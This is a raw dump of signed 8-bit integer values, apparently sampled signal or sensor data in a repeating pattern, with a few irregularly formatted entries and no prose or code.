+-128 +-128 +-58 +54 +127 +125 +13 +-80 +-128 +-128 +-59 +54 +127 +125 +12 +-77 +-128 +-128 +-57 +58 +127 +126 +14 +-79 +-128 +-128 +-57 +59 +127 +126 +17 +-79 +-128 +-128 +-56 +56 +127 +123 +15 +-75 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-76 +-128 +-128 +-57 +58 +127 +124 +13 +-78 +-128 +-128 +-58 +54 +127 +126 +13 +-78 +-128 +-128 +-56 +55 +127 +122 +14 +-75 +-128 +-128 +-57 +58 +127 +124 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-79 +-128 +-128 +-60 +56 +127 +122 +12 +-76 +-128 +-128 +-57 +58 +-37 +-103 +-112 +12 +107 +6 +-87 +-97 +16 +108 +2 +-71 +-107 +9 +102 +-5 +-90 +-108 +7 +101 +-4 +-77 +-109 +8 +102 +-5 +-90 +-107 +9 +102 +-3 +-76 +-108 +9 +102 +-4 +-90 +-108 +9 +102 +-4 +-74 +-107 +9 +101 +-3 +-91 +-108 +9 +101 +-2 +-76 +-109 +6 +98 +-6 +-92 +-107 +8 +100 +-2 +-75 +-109 +10 +99 +127 +127 +22 +-71 +-128 +-128 +-68 +46 +127 +120 +8 +-81 +-128 +-128 +-58 +54 +127 +121 +12 +-79 +-128 +-128 +-59 +57 +127 +122 +13 +-76 +-128 +-128 +-57 +58 +127 +123 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +124 +14 +-80 +-128 +-128 +-59 +55 +127 +123 +13 +-76 +-128 +-128 +-57 +58 +127 +124 +16 +-76 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-58 +57 +127 +124 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +-39 +-104 +-98 +11 +110 +3 +-72 -100 15 -111 -9 --66 --101 +104 +0 +-89 +-109 +6 +104 +-2 +-77 +-112 +4 +102 +-1 +-91 +-111 +4 +99 +-2 +-77 +-110 +5 +104 +0 +-91 +-110 +5 +101 +-1 +-76 +-111 +4 +102 +0 +-92 +-110 +5 +102 +0 +-75 +-111 +5 +102 +-1 +-92 +-111 +5 +101 +-1 +-76 +-111 +4 +102 +0 +-91 +-110 +5 +102 +127 +127 +23 +-67 +-128 +-128 +-65 +49 +127 +121 +11 +-80 +-128 +-128 +-57 +57 +127 +126 14 -112 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-76 +-128 +-128 +-56 +58 +127 +126 +14 +-77 +-128 +-128 +-55 +56 +127 +126 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-55 +58 +127 +125 +15 +-78 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +126 +12 +-77 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-57 +59 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +126 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-77 +-128 +-128 +-57 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-57 +58 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +13 +-78 +-128 +-128 +-56 +58 +127 +124 +16 +-75 +-128 +-128 +-59 +54 +127 +125 +12 +-78 +-128 +-128 +-58 +54 +127 +126 +12 +-79 +-128 +-128 +-60 +53 +127 +125 +12 +-76 +-128 +-128 +-57 +58 +127 +126 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-55 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +16 +-76 +-128 +-128 +-56 +58 +127 +125 +14 +-77 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +126 +13 +-77 +-128 +-128 +-56 +56 +-35 +-104 +-110 +11 +109 +4 +-86 +-98 +17 +110 +2 +-69 +-105 +11 +102 +-4 +-91 +-108 +7 +100 +-4 +-76 +-109 +9 +102 +-4 +-90 +-107 +9 +102 +-3 +-75 +-108 +9 +102 +-3 +-90 +-108 +9 +102 +-4 +-76 +-107 +6 +98 +-6 +-94 +-111 +5 +104 +-1 +-77 +-110 +4 +102 +0 +-91 +-110 +5 +102 +0 +-76 +-111 +5 +100 +127 +127 +23 +-67 +-128 +-128 +-65 +49 +127 +118 +9 +-82 +-128 +-128 +-58 +58 +127 +122 +13 +-76 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-76 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-55 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +-35 +-101 +-110 +12 +110 +4 +-69 +-98 +18 +108 +4 +-86 +-106 +11 +101 +-1 +-77 +-108 +8 +100 +-4 +-92 +-109 +8 +102 +-5 +-74 +-108 +9 +102 +-2 +-91 +-108 +8 +102 +-3 +-75 +-108 +9 +101 +-3 +-90 +-107 +10 +102 +-4 +-75 +-107 +8 +101 +-4 +-92 +-108 +8 +103 +-4 +-74 +-106 +9 +102 +127 +127 +25 +-69 +-128 +-128 +-65 +48 +127 +120 +9 +-81 +-128 +-128 +-57 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +56 +127 +126 +14 +-76 +-128 +-128 +-57 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-77 +-128 +-128 +-57 +56 +127 +126 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-79 +-128 +-128 +-59 +54 +127 +123 +14 +-80 +-128 +-128 +-57 +58 +127 +123 +14 +-77 +-128 +-128 +-57 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-76 +-128 +-128 +-56 +57 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +126 +12 +-79 +-128 +-128 +-57 +56 +127 +123 +15 +-76 +-128 +-128 +-55 +55 +127 +125 +16 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +123 +16 +-78 +-128 +-128 +-60 +56 +127 +123 +13 +-75 +-128 +-128 +-57 +57 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +55 +127 +124 +13 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +57 +-36 +-102 +-112 +12 +109 +4 +-70 +-99 +18 +109 +2 +-85 +-106 +10 +102 +-4 +-74 +-108 +7 +100 +-4 +-92 +-109 +9 +101 +-4 +-75 +-108 +8 +102 +-4 +-92 +-109 +9 +101 +-2 +-75 +-108 +9 +102 +-4 +-91 +-107 +8 +102 +-3 +-76 +-108 +8 +102 +-4 +-90 +-108 +9 +102 +-3 +-76 +-107 +6 +98 +-6 +-94 +-111 +5 +103 +127 +127 +24 +-67 +-128 +-128 +-68 +46 +127 +120 +8 +-80 +-128 +-128 +-56 +57 +127 +124 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +125 +14 +-77 +-128 +-128 +-55 +58 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +-37 +-103 +-110 +12 +110 +5 +-84 +-98 +18 +108 +4 +-69 +-106 +10 +102 +-4 +-90 +-109 +7 +100 +-4 +-77 +-109 +9 +102 +-2 +-91 +-108 +9 +102 +-5 +-74 +-108 +9 +102 +-3 +-91 +-108 +9 +102 +-4 +-74 +-108 +9 +102 +-3 +-92 +-109 +8 +102 +-5 +-74 +-108 +8 +101 +-3 +-92 +-109 +8 +101 +-3 +-75 +-109 +8 +102 +-5 +-91 +-107 +9 +102 +-3 +-76 +-109 +8 +102 +-5 +-90 +-107 +9 +102 +-3 +-75 +-108 +10 +102 +-3 +-90 +-108 +9 +102 +-5 +-74 +-108 +8 +101 +-3 +-92 +-108 +8 +102 +-4 +-74 +-107 +9 +102 +-3 +-91 +-108 +9 +101 +-2 +-75 +-108 +9 +102 +-1 +-91 +-109 +9 +102 +-2 +-75 +-108 +10 +102 +-3 +-91 +-108 +10 +101 +127 +127 +25 +-69 +-128 +-128 +-64 +50 +127 +120 10 -81 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 +-58 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +55 +127 +126 +13 +-77 +-128 +-128 +-57 +57 +127 +126 +15 +-77 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +125 +13 +-80 +-128 +-128 +-60 +54 +127 +124 +12 +-76 +-128 +-128 +-57 +57 +127 +123 +13 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +58 +127 +126 +14 +-77 +-128 +-128 +-57 +58 +127 +125 +14 +-78 +-128 +-128 +-59 +54 +127 +125 +13 +-79 +-128 +-128 +-58 +56 +127 +123 +13 +-80 +-128 +-128 +-59 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-57 +58 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +126 +14 +-77 +-128 +-128 +-56 +58 +127 +126 +14 +-78 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +56 +127 +124 +16 +-76 +-128 +-128 +-58 +56 +127 +121 +12 +-78 +-128 +-128 +-60 +57 +127 +122 +13 +-76 +-128 +-128 +-57 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-57 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +13 +-76 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-59 +54 +127 +124 +13 +-80 +-128 +-128 +-60 +57 +127 +122 +13 +-76 +-128 +-128 +-58 +59 +127 +127 +15 +-78 +-128 +-128 +-57 +58 +127 +124 +17 +-77 +-128 +-128 +-60 +55 +127 +123 +12 +-76 +-128 +-128 +-57 +58 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +15 +-78 +-128 +-128 +-59 +53 +127 +126 +12 +-77 +-128 +-128 +-57 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +13 +-78 +-128 +-128 +-58 +56 +127 +124 +13 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +16 +-76 +-128 +-128 +-58 +56 +127 +124 +16 +-76 +-128 +-128 +-59 +54 +127 +126 +12 +-78 +-128 +-128 +-57 +58 +127 +127 +13 +-76 +-128 +-128 +-55 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-79 +-128 +-128 +-57 +58 +127 +125 +16 +-79 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-55 +57 +127 +127 +16 +-76 +-128 +-128 +-55 +58 +127 +125 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-78 +-128 +-128 +-58 +58 +127 +126 +14 +-79 +-128 +-128 +-58 +57 +127 +126 +13 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-57 +58 +127 +126 +14 +-77 +-128 +-128 +-56 +59 +127 +124 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-58 +56 +127 +122 +13 +-76 +-128 +-128 +-58 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-58 +58 +127 +126 +13 +-76 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 +-57 +57 +127 +126 +14 +-78 +-128 +-128 +-58 +57 +127 +125 +13 +-76 +-128 +-128 +-55 +58 +127 +126 +15 +-78 +-128 +-128 +-58 +58 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-60 +53 +127 +126 +12 +-76 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +55 +127 +124 +15 +-76 +-128 +-128 +-56 +56 +127 +124 +15 +-76 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +56 +127 +122 +12 +-79 +-128 +-128 +-59 +53 +127 +126 +12 +-76 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +123 +13 +-80 +-128 +-128 +-59 +54 +127 +126 +12 +-78 +-128 +-128 +-57 +56 +127 +124 +16 +-76 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +55 +127 +125 +14 +-79 +-128 +-128 +-57 +57 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-57 +56 +127 +125 +14 +-78 +-128 +-128 +-55 +55 +127 +123 +14 +-75 +-128 +-128 +-57 +58 +127 +125 +16 +-76 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-57 +58 +127 +123 +15 +-75 +-128 +-128 +-57 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +125 +14 +-78 +-128 +-128 +-55 +55 +127 +125 +16 +-78 +-128 +-128 +-60 +58 +127 +122 +13 +-75 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-55 +57 +127 +126 +14 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-57 +58 +127 +125 +16 +-79 +-128 +-128 +-56 +58 +-36 +-102 +-112 +13 +107 +6 +-86 +-97 +14 +105 +0 +-73 +-108 +6 +103 +0 +-90 +-111 +4 +99 +-3 +-77 +-112 +4 +102 +-1 +-92 +-111 +5 +100 +-1 +-76 +-111 +5 +102 +-1 +-91 +-111 +5 +100 +-1 +-76 +-111 +4 +102 +-1 +-91 +-111 +5 +101 +-1 +-75 +-111 +5 +103 +0 +-91 +-110 +5 +102 +0 +-73 +-110 +5 +100 +127 +127 +24 +-67 +-128 +-128 +-66 +48 +127 +120 +11 +-81 +-128 +-128 +-57 +56 +127 +124 +14 +-77 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +55 +127 +121 +11 +-80 +-128 +-128 +-57 +57 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +55 +127 +125 +17 +-79 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-57 +57 +127 +125 +14 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +127 +125 +14 +-75 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +126 +13 +-78 +-128 +-128 +-55 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +126 +15 +-78 +-128 +-128 +-58 +56 +127 +122 +15 +-75 +-128 +-128 +-57 +58 +127 +126 +16 +-78 +-128 +-128 +-59 +54 +127 +125 +13 +-80 +-128 +-128 +-60 +54 +127 +123 +13 +-76 +-128 +-128 +-57 +58 +127 +124 +16 +-77 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-58 +57 +127 +125 +13 +-76 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-79 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-77 +-128 +-128 +-57 +58 +127 +126 +14 +-78 +-128 +-128 +-57 +56 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-58 +54 +127 +126 +13 +-79 +-128 +-128 +-58 +57 +127 +124 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-57 +58 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +58 +127 +125 +15 +-78 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-55 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-58 +54 +-39 +-103 +-112 +9 +106 +2 +-72 -101 +14 +110 +4 +-88 +-108 +6 +103 +0 +-75 +-112 +4 +99 +-2 +-93 +-111 +4 +103 +0 +-76 +-111 +5 +100 +-1 +-92 +-111 +4 +103 +0 +-75 +-110 +5 +98 +-3 +-93 +-111 +6 +104 +-1 +-76 +-111 +5 +103 +0 +-91 +-110 +5 +102 +-1 +-76 +-111 +4 +102 +127 +127 +24 +-67 +-128 +-128 +-65 +49 +127 +120 +11 +-81 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-77 +-128 +-128 +-57 +58 +127 +126 +14 +-79 +-128 +-128 +-57 +56 +127 +125 +15 +-78 +-128 +-128 +-58 +54 +127 +125 +13 +-78 +-128 +-128 +-55 +54 +127 +122 +14 +-80 +-128 +-128 +-57 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +15 +-77 +-128 +-128 +-58 +56 +127 +126 +13 +-75 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +125 +13 +-76 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +125 +13 +-79 +-128 +-128 +-58 +58 +127 +123 +14 +-78 +-128 +-128 +-58 +56 +127 +126 +14 +-76 +-128 +-128 +-57 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +56 +127 +126 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +57 +127 +124 +15 +-78 +-128 +-128 +-59 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +57 +127 +122 +15 +-75 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-55 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-58 +53 +127 +125 +13 +-80 +-128 +-128 +-60 +57 +127 +122 +13 +-76 +-128 +-128 +-57 +57 +127 +126 +14 +-79 +-128 +-128 +-58 +54 +127 +123 +14 +-80 +-128 +-128 +-57 +58 +127 +124 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +13 +-76 +-128 +-128 +-59 +54 +127 +123 +13 +-76 +-128 +-128 +-58 +57 +127 +126 +15 +-78 +-128 +-128 +-59 +54 +127 +124 +12 +-80 +-128 +-128 +-60 +57 +127 +122 +13 +-76 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-57 +59 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +13 +-77 +-128 +-128 +-55 +58 +127 +125 +15 +-77 +-128 +-128 +-55 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-55 +56 +127 +126 +14 +-78 +-128 +-128 +-57 +58 +127 +126 +15 +-78 +-128 +-128 +-59 +53 +127 +125 +13 +-77 +-128 +-128 +-57 +58 +-36 +-102 +-111 +13 +110 +4 +-69 +-99 +18 +107 +4 +-87 +-106 +10 +103 +-2 +-75 +-109 +8 +100 +-4 +-91 +-109 +8 +101 +-5 +-77 +-107 +7 +103 +-5 +-90 +-108 +9 +102 +-4 +-76 +-106 +6 +99 +-4 +-90 +-110 +5 +98 +-6 +-78 +-111 +6 +103 +-2 +-94 +-110 +5 +103 +0 +-75 +-110 +5 +100 +-1 +-92 +-111 +4 +102 +-1 +-75 +-111 +5 +102 +0 +-91 +-110 +5 +102 +0 +-75 +-111 +5 +102 +0 +-91 +-110 +6 +102 +0 +-75 +-110 +5 +103 +0 +-91 +-110 +5 +101 +-1 +-75 +-110 +5 +102 +0 +-91 +-111 +4 +100 +-1 +-76 +-111 +5 +102 +0 +-92 +-110 +5 +102 +0 +-75 +-111 +5 +102 +-1 +-92 +-111 +5 +103 +0 +-75 +-111 +5 +102 +127 +127 +24 +-67 +-128 +-128 +-65 +50 +127 +120 +11 +-81 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +57 +127 +124 +16 +-78 +-128 +-128 +-60 +55 +127 +123 +13 +-76 +-128 +-128 +-56 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +15 +-77 +-128 +-128 +-57 +59 +127 +126 +16 +-77 +-128 +-128 +-58 +56 +127 +126 +14 +-77 +-128 +-128 +-56 +56 +127 +124 +16 +-77 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-76 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +16 +-76 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +56 +127 +123 +14 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-57 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +124 +13 +-78 +-128 +-128 +-57 +56 +127 +124 +16 +-78 +-128 +-128 +-60 +56 +127 +122 +13 +-75 +-128 +-128 +-59 +55 +127 +124 +16 +-79 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-77 +-128 +-128 +-57 +57 +127 +125 +14 +-78 +-128 +-128 +-59 +53 +127 +126 +13 +-78 +-128 +-128 +-57 +58 +127 +126 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-76 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-55 +55 +127 +122 +13 +-78 +-128 +-128 +-60 +55 +127 +123 +13 +-75 +-128 +-128 +-57 +57 +-37 +-102 +-110 +9 +106 +1 +-70 +-98 +18 +107 +2 +-86 +-106 +9 +101 +-4 +-76 +-110 +7 +100 +-5 +-91 +-108 +8 +101 +-5 +-74 +-107 +8 +100 +-4 +-93 +-108 +7 +100 +-3 +-73 +-109 +10 +100 +-1 +-93 +-107 +8 +102 +-3 +-76 +-108 +8 +103 +-4 +-90 +-107 +9 +103 +-3 +-76 +-109 +10 +102 +-3 +-91 +-108 +9 +101 +127 +127 +26 +-68 +-128 +-128 +-64 +50 +127 +120 +10 +-66 +-128 +-128 +-60 +53 +127 +125 +12 +-79 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +122 +14 +-76 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +56 +127 +124 +13 +-78 +-128 +-128 +-58 +58 +127 +126 +16 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +15 +-78 +-128 +-128 +-55 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +13 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-58 +57 +127 +125 +13 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-57 +57 +127 +127 +14 +-76 +-128 +-128 +-58 +58 +127 +126 +16 +-78 +-128 +-128 +-56 +58 +127 +124 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +55 +127 +126 +16 +-79 +-128 +-128 +-56 +57 +127 +124 +13 +-78 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +56 +127 +126 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +16 +-79 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +16 +-77 +-128 +-128 +-57 +58 +127 +124 +14 +-77 +-128 +-128 +-55 +57 +127 +127 +16 +-76 +-128 +-128 +-55 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +57 +127 +125 +16 +-79 +-128 +-128 +-57 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-57 +57 +127 +126 +13 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +13 +-77 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +15 